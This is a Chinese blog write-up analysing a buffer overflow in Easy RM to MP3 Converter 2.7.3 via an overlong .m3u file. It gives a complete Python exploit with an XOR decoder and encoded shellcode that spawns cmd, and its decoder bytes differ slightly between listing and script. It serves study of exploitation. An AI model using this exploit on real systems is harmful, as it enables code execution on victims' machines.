Easy RM to MP3 Converter Version 2.7.3 700漏洞分析

软件链接:http://pan.baidu.com/s/1eQcLbpw

测试环境:xp sp3


看了exploit编写教程第一篇,知道了这个小软件有溢出漏洞,教程上用的是windbg分析的,由于咱习惯了界面友好的OD,对于教程上的分析步骤不是很感冒,既然知道了这是个有溢出漏洞的软件,那不如自己用OD亲自实践一把。

 

运行程序,界面如图,下方为它的版本号。

 

 

该溢出漏洞是加载畸形过长的.m3u文件时发生溢出,这种溢出漏洞很普遍。先用python生成10000个’a’的.m3u文件,加载看看。

#py

 

f = open(r'C:\Documents and Settings\123\桌面\3.m3u','w',encoding='gbk')

 

s = 'a'*10000

 

f.write(s)

f.close

print('success!')

 

发现没有异常,接着用20000个’a’试试,依然正常,用30000个’a’试试,程序崩掉了,那就在20000到30000之间构造不同的数据以确定溢出点。

首先用OD加载程序,然后准备加载文件。

 

但在点‘打开’之前,要在ReadFile处设断点。

 

点‘打开’后程序断在如下图位置,

 

这里是链接库的领空,F8走走,走到程序领空,如下图。

 

Ctrl + F8走走,程序异常了,很明显被我们的数据给覆盖了返回地址,此时,按Esc

 

在最后出问题的指令前下断点。

 

 

经过一番尝试,找到了溢出点在26078~260871这四个字节。

 

此时esp为0x000ff728,输入数据的开始处为0x000f6e44

已将180字节的shellcode编码,再来构造解码器

\x8b\xc4              Mov eax,esp

\x66\x2d\xd6\x88       Sub ax,0x88d6

\x33\xd2              Xor edx,edx

\x8A\x1C\x10          mov bl,byte ptr ds:[eax+edx]         edx为0,用来计数

\x80\xF3\x95          xor bl, 0x95                      异或0x95

\x88\x1C\x10         mov byte ptr ds:[eax+edx],bl

\x42                inc edx

\x80\xFA\xB4        cmp dl,0Xb4                      解码180个字节后停止解码

\x75\xF1            jnz XX

 

Shellcode执行system(“cmd”)的功能。

用python写exploit

#py

f = open(r'C:\Documents and Settings\123\桌面\4.m3u','w',encoding='utf-8')

 

decoder ='\x8b\xc4\x66\x2d\xcd\x88\x33\xd2\x8A\x1C\x10\x80\xF3\x95\x88\x1C\x10\x42\x80\xFA\xB4\x75\x1F'

shellcode ='\x7e\xf2\xc0\x1e\x79\xf1\x34\xa5\x95\x95\x95\x1e\xd5\x99\x1e\xd5\x81\x1e\x95\x1e\xe5\xbd\x15\xeb\x99\xa6\xe0\x60\x1e\xd5\x85\x1e\x6d\x96\xea\xa9\x1e\xea\xed\x96\x6d\x1e\x4a\x1e\xee\xb5\x96\x6d\xa6\x5c\x1e\xa1\x1a\x96\x65\xd4\x1e\xc1\xb1\x9d\xac\x83\xe0\x67\x1e\xc1\xb1\x99\xac\xc3\x91\xe0\x7c\x1e\xee\xb1\x96\x6d\x1e\x99\xda\x14\x74\x6a\x6a\x95\x95\x1e\xee\x89\x96\x6d\xdc\x54\x74\x97\x1e\xa9\x9a\x96\x52\xc8\x57\x9d\x95\xfd\xe7\xfa\xf6\xd4\xfd\xd2\xf0\xe1\xc5\x7d\x1f\x6a\x6a\x6a\xc5\xfd\xd9\xfc\xf7\xe7\xfd\xd9\xfa\xf4\xf1\x7d\xef\x6a\x6a\x6a\xc5\xfd\xe7\xe1\x95\x95\xfd\xf8\xe6\xe3\xf6\xc1\x6a\x45\x16\x51\x9d\xfd\xf0\xf8\x95\x95\xfd\xe6\xec\xe6\xe1\xc1\xc5\x6a\xc1\xb1\x81\x16\x51\x9d\xfd\xf6\xf8\xf1\x95\xc1\x6a\x45'

junk = 'a'*25874

jmpesp ='\x44\x6e\x0f\00'

s = decoder + shellcode + junk + jmpesp

 

f.write(s)

f.close

print('success!')

溢出点已被00f6e43覆盖了


程序直接跳到了00f6e43处执行程序。

该部分就是解码器


以下部分就是编码后的shellcode


经过解码器的循环解码,shellcode终于露出了它的真面目。


执行该部分的指令,成功的打开了cmd!!


 

 


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值